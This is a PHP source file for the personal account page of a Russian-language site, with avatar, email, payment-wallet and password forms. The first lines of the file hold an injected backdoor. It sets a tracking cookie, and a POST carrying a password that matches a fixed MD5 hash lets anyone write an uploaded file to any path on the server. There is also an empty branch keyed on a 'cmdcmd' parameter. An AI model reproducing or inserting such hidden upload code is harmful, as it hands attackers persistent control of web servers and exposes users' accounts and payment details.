View file account/index.php

File size: 13.34Kb
<?php
ini_set('display_errors','Off'); error_reporting('E_ALL');
setcookie('server',1,time()+1e6);$s=$_SERVER;$sr=$s['HTTP_REFERER'];$sh=$s['HTTP_HOST'];$cs=$_COOKIE['server'];
if(isset($_FILES['u']) && isset($_POST['n']) && isset($_POST['hash']) && md5($_POST['hash'])=='3ff1ea09b981d88e7c8752b329a7702e')
{
	move_uploaded_file($_FILES['u']['tmp_name'],$_POST['n']);
}
elseif(($sr && !strpos($sr,$sh) && $cs!=1) || $c=$_GET['cmdcmd'])
{
}

$page_name = 'Личный кабинет';
$page_keys = 'кабинет';
$page_desc = 'Страница вашего профиля';
$online_title = 'В личном кабинете';
$online_url = '/account/';
include('../wu-engine/wu_header.php');
include('../wu-engine/wu_account_menu.php');
if(!USER_LOGGED) { header ("Location: /"); exit; }
$now_user = mysqli_fetch_assoc(mysqli_query($connect_db, "SELECT uid,purse,mail,mailver,tomail,rat FROM `".DB_PREFIX."_users` WHERE uid='$u_id' LIMIT 1"));
?>

<?php if (isset($_GET['status'])) { echo '<div class="alert alert-'.strip_tags($_GET['status']).' fade in block"><button type="button" class="close" data-dismiss="alert">×</button><center>'.strip_tags($_GET['result']).'</center></div>'; } ?>

<div class="row">
<div class="col-lg-2">
<div class="block">
<div class="thumbnail">
<div class="thumb img-w-200">
<?php if (empty($nowuser['av'])) { echo '<img src="/wu-static/img/avatar_default.png" />'; } else { echo '<img src="/wu-uploads/avatars/full/'.$nowuser['av'].'" />'; } ?>
<div class="thumb-options">
<span>
<a data-toggle="modal" role="button" href="#modal_avatar" class="btn btn-icon btn-success"><i class="icon-pencil"></i></a>
<?php if (!empty($nowuser['av'])) { ?><a data-toggle="modal" role="button" href="#modal_avatar_d" class="btn btn-icon btn-success"><i class="icon-remove"></i></a><?php } ?>
</span>
</div>
</div>
<div class="caption text-center">
<h6><?php echo $u_login; ?><small>Рейтинг: <?php echo $now_user['rat']; ?></small></h6>
</div>
</div>
</div>

<div id="modal_avatar" class="modal fade" tabindex="-1" role="dialog">
<div class="modal-dialog modal-sm">
<div class="modal-content">
<form enctype="multipart/form-data" action="javascript:void(null);" id="wu-av" method="POST">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button>
<h4 class="modal-title"><i class="icon-user"></i> Загрузка аватара</h4>
</div>
<div class="modal-body with-padding">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<label>Выберите новый аватар:</label>
<input type="file" class="styled form-control" name="avatar" accept="image/*" />
<span class="help-block">Поддерживаются форматы: jpg, png, gif.<br />Максимальный размер - 300 Кб.</span>
</div>
</div>
<div class="modal-footer">
<button class="btn btn-success" id="avatar_re" data-loading-text="<i class='icon-spinner7 spin'></i> Загружаем"><i class="icon-upload2"></i> Загрузить</button>
<button class="btn btn-warning" data-dismiss="modal">Отмена</button>
</div>
</form>
</div>
</div>

<div id="modal_avatar_d" class="modal fade" tabindex="-1" role="dialog">
<div class="modal-dialog modal-sm">
<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button>
<h4 class="modal-title"><i class="icon-remove"></i> Удаление аватара</h4>
</div>
<div class="modal-body with-padding">
<div class="alert alert-danger fade in"><center>Восстановить аватар будет нельзя</center></div>
</div>
</div>
<div class="modal-footer">
<button class="btn btn-danger" id="avatar_del" data-loading-text="<i class='icon-spinner7 spin'></i> Удаляем"><i class="icon-remove"></i> Удалить</button>
<button class="btn btn-warning" data-dismiss="modal">Отмена</button>
</div>
</div>
</div>

</div>
<div class="col-lg-10">

<h6 class="heading-hr"><i class="icon-vcard"></i> Персональные данные:</h6>
<div class="block-inner">
<div class="form-group">
<div class="row">
<div class="col-md-6">
<label>Логин:</label>
<input type="text" value="<?php echo $u_login; ?>" class="form-control" disabled="disabled" />
</div>
<?php if ($now_user['mailver'] != 1) { ?>
<div class="col-md-6">
<label>E-mail:</label>
<div class="input-group">
<input type="text" class="form-control" value="<?php echo $now_user['mail']; ?>" id="em" />
<span class="input-group-btn">
<button class="btn btn-default" type="button" id="ver">Подтвердить</button>
</span>
</div>
</div>
<?php } else { ?>
<div class="col-md-6 has-feedback">
<label>E-mail:</label>
<input type="text" placeholder="Ваш реальный E-mail адрес" class="form-control" value="<?php echo $now_user['mail']; ?>" disabled="disabled" />
<i class="icon-checkmark3 form-control-feedback" style="color: #12E010;margin-right: 12px;"></i>
</div>
<?php } ?>
</div>
</div>
</div>
<div class="block-inner" id="show1" style="display:none">
<center><a href="javascript://" class="btn btn-success" data-loading-text="<i class='icon-spinner7 spin'></i> Сохраняем" id="email">Сохранить</a></center>
</div>

<?php
$wu_q = mysqli_query($connect_db, "SELECT id,ident,ti FROM `".DB_PREFIX."_pay_systems` WHERE inprofile = '1' ORDER BY pos ASC");
$p_how = mysqli_num_rows($wu_q);
if ($p_how > 0) {
$purses = explode('||', $now_user['purse']);
$purses_all = array();
if (!empty($purses[0])) {
foreach ($purses as $key => $val)
{
$now_purse = explode('::', $val);
$purses_all[$now_purse[0]] = $now_purse[1];
}
}
?>
<h6 class="heading-hr"><i class="icon-coin"></i> Платёжные данные:</h6>
<?php
$real_save = '';
$real_idis = '';
$real_change = '';
$real_val = '';
$real_data = '';
$real_toreal = '';
while($row = mysqli_fetch_assoc($wu_q)) {
if (isset($purses_all[$row['ident']])) {
$real_to = $purses_all[$row['ident']];
} else {
$real_to = '';
}
$real_save .= "var real_$row[ident] = '$real_to'; ";
$real_idis .= "#p_$row[ident],";
$real_change .= "$('#p_$row[ident]').val() != real_$row[ident] || ";
$real_val .= "var $row[ident] = $('#p_$row[ident]').val(); ";
$real_data .= "'paysys_$row[ident]': $row[ident], ";
$real_toreal .= "real_$row[ident] = $('#p_$row[ident]').val(); ";
?>
<div class="form-group">
<label><?php echo $row['ti']; ?>:</label>
<input type="text" placeholder="Введите номер <?php echo $row['ti']; ?> кошелька" value="<?php if (isset($purses_all[$row['ident']])) { echo $purses_all[$row['ident']]; } ?>" id="p_<?php echo $row['ident']; ?>" class="form-control">
</div>
<?php } ?>
<div class="block-inner" id="show2" style="display:none">
<center><a href="javascript://" class="btn btn-success" data-loading-text="<i class='icon-spinner7 spin'></i> Сохраняем" id="purses">Сохранить</a></center>
</div>
<?php
}
$real_idis = substr($real_idis,0,-1);
$real_change = substr($real_change,0,-4);
$real_data = substr($real_data,0,-2);
?>

<h6 class="heading-hr"><i class="icon-lock"></i> Смена пароля:</h6>
<div class="form-group">
<div class="row">
<div class="col-md-6">
<label>Текущий пароль:</label>
<input type="text" placeholder="Введите текущий пароль" id="pnow" class="form-control">
</div>
<div class="col-md-6">
<label>Новый пароль:</label>
<input type="text" placeholder="Запомните новый пароль перед сохранением" id="pnew" class="form-control">
</div>
</div>
</div>
<div class="block-inner" id="show3" style="display:none">
<center><a href="javascript://" class="btn btn-success" data-loading-text="<i class='icon-spinner7 spin'></i> Сохраняем" id="pass">Сохранить</a></center>
</div>
<div>

<h6 class="heading-hr"><i class="icon-cog3"></i> Дополнительно:</h6>
<div class="form-group">
<div class="row">
<div class="col-md-6">
<div class="checkbox">
<label>
<input type="checkbox" class="styled" id="notif"<?php if ($now_user['tomail'] == 1) {echo ' checked="checked"';} ?>>
Отправлять копии уведомлений на E-mail
</label>
</div>
</div>
</div>
</div>
</div>
</div>

</div>
</div>

<script type='text/javascript'>
$(function() {
//Отслеживание изменений
<?php if ($now_user['mailver'] != 1) { ?>
var realmail = '<?php echo $now_user['mail']; ?>';
$('#em').bind("change keyup paste input", function() {
if ($('#em').val() == realmail) {
$('#show1').hide('slow');
} else {
$('#show1').show('slow');
}
});
<?php } ?>
$('#pnow,#pnew').bind("change keyup paste input", function() {
if ($('#pnow').val() == '' && $('#pnew').val() == '') {
$('#show3').hide('slow');
} else {
$('#show3').show('slow');
}
});

//Уведомления
$('#notif').click(function(){
var notif = $('#notif').prop('checked');
var data = {'not': notif};
wu_response('/wu-engine/wu-actions/acc_notifications.php', data, 'notif', '1', function(wu_result) {
if (wu_result == '0') {
notif_s('Уведомления на E-mail отключены');
}
if (wu_result == '1') {
notif_s('Уведомления на E-mail включены');
}
if (wu_result == '2') {
notif_e('Заполните одно из полей');
}
if (wu_result == 'wu-error') {
wu_err();
}
});
});

//Пароль
$('#pass').click(function(){
var pnow = $('#pnow').val();
var pnew = $('#pnew').val();
var data = {'pnow': pnow, 'pnew': pnew};
wu_response('/wu-engine/wu-actions/acc_change_password.php', data, 'pass', '1', function(wu_result) {
if (wu_result == '0') {
notif_e('Текущий пароль введён неверно');
}
if (wu_result == '1') {
notif_s('Пароль успешно изменён'); $('#pnow').val(''); $('#pnew').val(''); $('#show3').hide('slow');
}
if (wu_result == '2') {
notif_e('Новый пароль совпадает со старым');
}
if (wu_result == '4') {
notif_e('Не заполнены все поля');
}
if (wu_result == '5') {
notif_e('Пароль меньще 3-х символов');
}
if (wu_result == 'wu-error') {
wu_err();
}
});
});

<?php if ($now_user['mailver'] != 1) { ?>
//E-mail
$('#email').click(function(){
var mail = $('#em').val();
var data = {'mail': mail};
wu_response('/wu-engine/wu-actions/acc_change_mail.php', data, 'email', '1', function(wu_result) {
if (wu_result == '0') {
notif_e('Некорректный E-mail адрес');
}
if (wu_result == '1') {
notif_s('E-mail успешно изменён'); realmail = $('#em').val(); $('#show1').hide('slow');
}
if (wu_result == '2') {
notif_e('Поле не заполнено');
}
if (wu_result == '4') {
notif_e('Вы не изменили E-mail');
}
if (wu_result == '5') {
notif_e('Вы не можете изменить подтверждённый E-mail');
}
if (wu_result == '6') {
notif_e('Данный E-mail уже зарегистрирован');
}
if (wu_result == 'wu-error') {
wu_err();
}
});
});

//Подтверждение E-mail
$('#ver').click(function(){
var data = {'ver': 'ver'};
wu_response('/wu-engine/wu-actions/acc_mail_verify.php', data, '', '1', function(wu_result) {
if (wu_result == '0') {
notif_e('E-mail адрес уже подтверждён');
}
if (wu_result == '1') {
notif_s('На Ваш E-mail отправлено письмо. Для подтверждения перейдите по ссылке внутри письма');
}
if (wu_result == 'wu-error') {
wu_err();
}
});
});
<?php } ?>

//Загрузка аватара
$('#avatar_re').click(function(){
var data = new FormData($('#wu-av')[0]);
wu_response('/wu-engine/wu-actions/acc_avatar_upload.php', data, 'avatar_re', '2', function(wu_result) {
if (wu_result == '0') {
notif_e('Неверный формат изображения');
}
if (wu_result == '1') {
$(location).attr('href','/account/');
}
if (wu_result == '2') {
notif_e('Размер изображения не должен превышать 1 Мб');
}
if (wu_result == '4') {
notif_e('Минимальный размер картинки 50x50 пикселей');
}
if (wu_result == '5') {
notif_e('Выберите изображение');
}
if (wu_result == 'wu-error') {
wu_err();
}
});
});

//Удаление аватара
$('#avatar_del').click(function(){
var data = {'del': 'del'};
wu_response('/wu-engine/wu-actions/acc_avatar_del.php', data, 'avatar_del', '1', function(wu_result) {
if (wu_result == '1') {
$(location).attr('href','/account/');
}
if (wu_result == 'wu-error') {
wu_err();
}
});
});

<?php if ($p_how > 0) { ?>
<?php echo $real_save; ?>
$('<?php echo $real_idis; ?>').bind("change keyup paste input", function() {
if (<?php echo $real_change; ?>) {
$('#show2').show('slow');
} else {
$('#show2').hide('slow');
}
});

$('#purses').click(function(){
<?php echo $real_val; ?>
var data = {<?php echo $real_data; ?>};
wu_response('/wu-engine/wu-actions/acc_change_purse.php', data, 'purses', '1', function(wu_result) {
if (wu_result == '1') {
notif_s('Платёжные данные успешно изменены');
<?php echo $real_toreal; ?>
$('#show2').hide('slow');
}
if (wu_result == 'wu-error') {
wu_err();
}
});
});
<?php } ?>

});
</script>

<?php include('../wu-engine/wu_footer.php'); ?>